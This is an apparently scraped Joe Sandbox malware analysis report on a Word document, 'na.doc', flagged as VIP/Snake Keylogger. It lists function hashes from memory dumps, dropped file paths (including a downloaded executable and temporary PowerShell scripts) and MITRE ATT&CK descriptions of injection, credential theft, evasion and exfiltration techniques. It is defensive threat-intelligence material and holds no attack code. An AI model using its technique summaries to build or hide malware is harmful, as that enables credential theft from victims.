Instruction Fuzzy Hash: 78418571E016588FEB68CF6BD9547DEFAF3AFC8204F14C1AAC40CA6264DB740A858F51

Function 006550C8 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908298387.0000000000650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_650000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46af3732c3feced84987c2365b9250356ea8ac1807121fbbff1ac3dce632cc1c
Instruction ID: 2d41341ace014b1a5f519b63935e1a99380c4b6d75abe7dc9c131194e5b9301b
Opcode Fuzzy Hash: 46af3732c3feced84987c2365b9250356ea8ac1807121fbbff1ac3dce632cc1c
Instruction Fuzzy Hash: 6B415771D016588BEB68CF6BD9547DEFAF3AFC9300F14C1AAC40CA6264EB741A858F51

Function 006549E9 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908298387.0000000000650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_650000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe6cff76225fffc216f6f6953a600d1ca24de2ba331188e16b59985944c5a8d
Instruction ID: 9f6cddc094b351b12c2518b16df771c1397c0c11e27373d7128cd87fba30901f
Opcode Fuzzy Hash: 4fe6cff76225fffc216f6f6953a600d1ca24de2ba331188e16b59985944c5a8d
Instruction Fuzzy Hash: 84417671E016188FEB68CF6BD85479EFAF3AFC8300F14C1AAD40CA6254DB740A858F51

Function 003FE23F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908114705.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e9368df87be7bf8de6117705628e984b8901a8ef8283d2d18ce985e449edf6a
Instruction ID: 88ef8564fed45925a68b7009c034fc55ed46dff96f0db840b404f68d42868b7a
Opcode Fuzzy Hash: 6e9368df87be7bf8de6117705628e984b8901a8ef8283d2d18ce985e449edf6a
Instruction Fuzzy Hash: 9741D874E052188FDB18DFAAD8546AEBBF2BF89300F14D06AD518BB264DB345946CF50

Function 003A9311 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908085019.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3a0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20f080772db740b731fa8e30e1510becc8ca659679c3a893acd139576c1277a5
Instruction ID: 26602c9c98cb7a60e4510c289469f6dc9a69725e1046a36d4c5b922713caaa0b
Opcode Fuzzy Hash: 20f080772db740b731fa8e30e1510becc8ca659679c3a893acd139576c1277a5
Instruction Fuzzy Hash: B131F574E012488FDB09DFAAD9456DEBBF2BF89300F24C12AD419BB254DB345942CF50

Function 00562CEF Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.908263475.0000000000560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_560000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe84665fdc714cb1b861c1a9aeaf78695e63c0b659aee1cea07461176a4edb66
Instruction ID: fc56e16fcef1f0668eb5864781538185cf571e51f9ebc6708407195312b0b056
Opcode Fuzzy Hash: fe84665fdc714cb1b861c1a9aeaf78695e63c0b659aee1cea07461176a4edb66
Instruction Fuzzy Hash: E85143B4D05608CFDB14CFA9D488ADDBBB1FF49311F20892AE019BB2A0D7749886CF15

Function 00562AD8 Relevance: 1.6, APIs: 1, Instructions: 124
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(000000FF), ref: 00562C3A

Memory Dump Source

Source File: 00000008.00000002.908263475.0000000000560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_560000_cmnjgyugo61000.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4f52c031d5cfe8ad4c5308ba144ae8f14b9de0ff8443e46b8b5b5521133938a6
Instruction ID: 125eef4c5bf1d7b014406a69ac78344a1ec4c1bc6dad85050de3ee2b062c714b
Opcode Fuzzy Hash: 4f52c031d5cfe8ad4c5308ba144ae8f14b9de0ff8443e46b8b5b5521133938a6
Instruction Fuzzy Hash: 125103B4D01618DFDB18CFAAD8886DDBBB2FF88310F20C52AE415AB2A4D7749945CF50

Function 00562C73 Relevance: 1.6, APIs: 1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.908263475.0000000000560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_560000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f0681bf97f5a808adc5eb8b35eb3135534e4ad98e682c20eff3377c3047065
Instruction ID: aa705c1c2b2312b37e8bb7ae243e55a013d06fa53d48827a438106ced8289cad
Opcode Fuzzy Hash: 36f0681bf97f5a808adc5eb8b35eb3135534e4ad98e682c20eff3377c3047065
Instruction Fuzzy Hash: CC5111B4D05608CFDB14CFA9D484ADDBBB1FF89310F20892AE425BB2A4D7759886CF10

Function 001DE133 Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 001DE275

Memory Dump Source

Source File: 00000008.00000002.907954251.00000000001D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1d0000_cmnjgyugo61000.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 449fa464f30057fda65ed4d553cfc32f626bae0a81ca661c39434efde0844086
Instruction ID: 23933017d3ec1bc2a69f91400d7b8f11dee1ee2e99e4803f1c3743ce6a7a9329
Opcode Fuzzy Hash: 449fa464f30057fda65ed4d553cfc32f626bae0a81ca661c39434efde0844086
Instruction Fuzzy Hash: 6C117274E002189FDB04DFA8C9C4AADB7F9FB88306F548516E405EB341D730E941CB10

Function 00543E68 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908246663.0000000000540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_540000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ef3bac982da9e6ba6d9a7740f6da5067e48d62168ffb9a1b49607eebb63d1b0
Instruction ID: 6830b04333806e33e4459c1f9d40b8b3594d7948dc5aad1ab32dacac5e27d1b8
Opcode Fuzzy Hash: 2ef3bac982da9e6ba6d9a7740f6da5067e48d62168ffb9a1b49607eebb63d1b0
Instruction Fuzzy Hash: 9271B174E00218CFDB18DFA5D994AEDBBB2FF89304F24852AD409AB359DB356942CF50

Function 003A9320 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908085019.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3a0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50687b7e5aa212eeff6e27cf392667dee738923ca9fb91e7a657f15478c2a984
Instruction ID: 14c69ae2d543386f65cf416f755b0d759bcff777dbfa8b98504e30065bcb9297
Opcode Fuzzy Hash: 50687b7e5aa212eeff6e27cf392667dee738923ca9fb91e7a657f15478c2a984
Instruction Fuzzy Hash: C871C074E002188FDB14DFA6C995AADBBB2FF89300F24842AD405AB358DB35A942CF50

Function 003A9FC8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908085019.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3a0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c33d5d535051c91635718c52c703bf6f080a940efec5cc0b6060d923d47734
Instruction ID: 11c6cab7347edfbd498d569e728322c95660e347a1b8954ebcffbba3e574c9f1
Opcode Fuzzy Hash: 48c33d5d535051c91635718c52c703bf6f080a940efec5cc0b6060d923d47734
Instruction Fuzzy Hash: 1271C274E00218CFDB18DFA5D994BADBBB2FF89300F24852AD415AB359DB35A942CF50

Function 00651BC0 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908298387.0000000000650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_650000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34dbf8c11e6a44bf6259d2b16365bfe69aec5de1055a2e8a27c349bd6f7d16f0
Instruction ID: b4f562ce74973877a9f3ff9482563ff260e010e56120ed5d110d1ea79b6d4594
Opcode Fuzzy Hash: 34dbf8c11e6a44bf6259d2b16365bfe69aec5de1055a2e8a27c349bd6f7d16f0
Instruction Fuzzy Hash: FB41C174D00248CFDB14DFA5D594BEDBBF2BF89301F24812AE805AB294DB74694ACF50

Function 00651BD0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908298387.0000000000650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_650000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb59a8fe37fee0a3df13dfb2eb63d25cbe326eab94cf352d2f34c86bf873338
Instruction ID: cf1249ab0f733c18d5b69e62e935dfb8bd7cd93c0a793b267538fced3d2d5d54
Opcode Fuzzy Hash: 9fb59a8fe37fee0a3df13dfb2eb63d25cbe326eab94cf352d2f34c86bf873338
Instruction Fuzzy Hash: C741AE74D00208CFDB14DFA5D5947EDBBF2BF89301F24812AE815AB2A4EB74694ACF50

Function 0054A112 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.908246663.0000000000540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_540000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39142e90441c0ed8a8582bcc9267e148e42db79c88f1f229dc9a01847191314e
Instruction ID: 24bf80d4b8112f4946499cf48eccb36e541984ee37944e5a3d99bd197f58a1e5
Opcode Fuzzy Hash: 39142e90441c0ed8a8582bcc9267e148e42db79c88f1f229dc9a01847191314e
Instruction Fuzzy Hash: 2F31EF74E006088FDB48DFAAD8546EEBBF2BFC9300F10D02AD419AB254EB745942CF51

Function 0017D006 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.907864038.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17d000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c460f6e08ed4ea1825736fcb497e392bb9a6b5a8b35c47164a4767725e5a0509
Instruction ID: ad707caeb4de8499d0e57402ee9891c359605657d90dc21818a62ffa0c6b771b
Opcode Fuzzy Hash: c460f6e08ed4ea1825736fcb497e392bb9a6b5a8b35c47164a4767725e5a0509
Instruction Fuzzy Hash: AB31387550E3C49FD7038B20D8A4711BF71AF47214F29C5DBD889CF2A3C22A984ACB62

Function 0016D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.907839877.000000000016D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_16d000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cb891172a20b59a3664c81526394bca31c3cb1a7295d74f22c1136e78fa017b
Instruction ID: cb1e8879cd60a071f06ef6c71cf3a956dc0656a2219708eff0ac87a8be3fc754
Opcode Fuzzy Hash: 6cb891172a20b59a3664c81526394bca31c3cb1a7295d74f22c1136e78fa017b
Instruction Fuzzy Hash: E121D375A04340DFEB15DF14EDC0B26BF75EB88314F24C569E80A4B646C336D866CBA2

Function 0017D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.907864038.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17d000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d5b800ebdb38dcab67f5230d0b28b360615239fa58a76d3dda5a1f094231944
Instruction ID: fcc9b79420a972e3ce1854c25dac3a61d45a7b156cf38c9e70a46ca5e1acfa6c
Opcode Fuzzy Hash: 8d5b800ebdb38dcab67f5230d0b28b360615239fa58a76d3dda5a1f094231944
Instruction Fuzzy Hash: 8221AF75604348DFEB14CF24E884B26BB75EF84314F34C6A9E84D4B242C736D846CA62

Function 0016D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.907839877.000000000016D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_16d000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9db876a194b11add3b8ed59ab83e46afef4b80a3836825e6e29e07944ab82751
Instruction ID: 009ead8a324ca68922f92c929074c037a506843c24f125e6e879cb035bb6432d
Opcode Fuzzy Hash: 9db876a194b11add3b8ed59ab83e46afef4b80a3836825e6e29e07944ab82751
Instruction Fuzzy Hash: 0E11D376904280CFDB11CF14E9C4B16BF71FB94314F24C5A9D8094B656C336D86ACFA2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report na.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B51DF821-F86D-46B6-8ACC-37FF18353270}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{13FEA83D-5377-4786-9DD9-29F737F0C8E8}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{18EB24B9-D74C-4691-AA6F-57A74C54BFE9}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9C8F7FC9-C865-4704-9DF5-6F224ABC8549}.tmp

C:\Users\user\AppData\Local\Temp\3yrbiz3z.fqn.psm1

C:\Users\user\AppData\Local\Temp\xxoncosu.mah.ps1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Windows Analysis Report
na.doc

Function 001B4924 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Function 005F2BF0 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Function 005F2851 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Function 005F2858 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Function 005F29B0 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Function 005F29B8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Function 005F22F0 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre
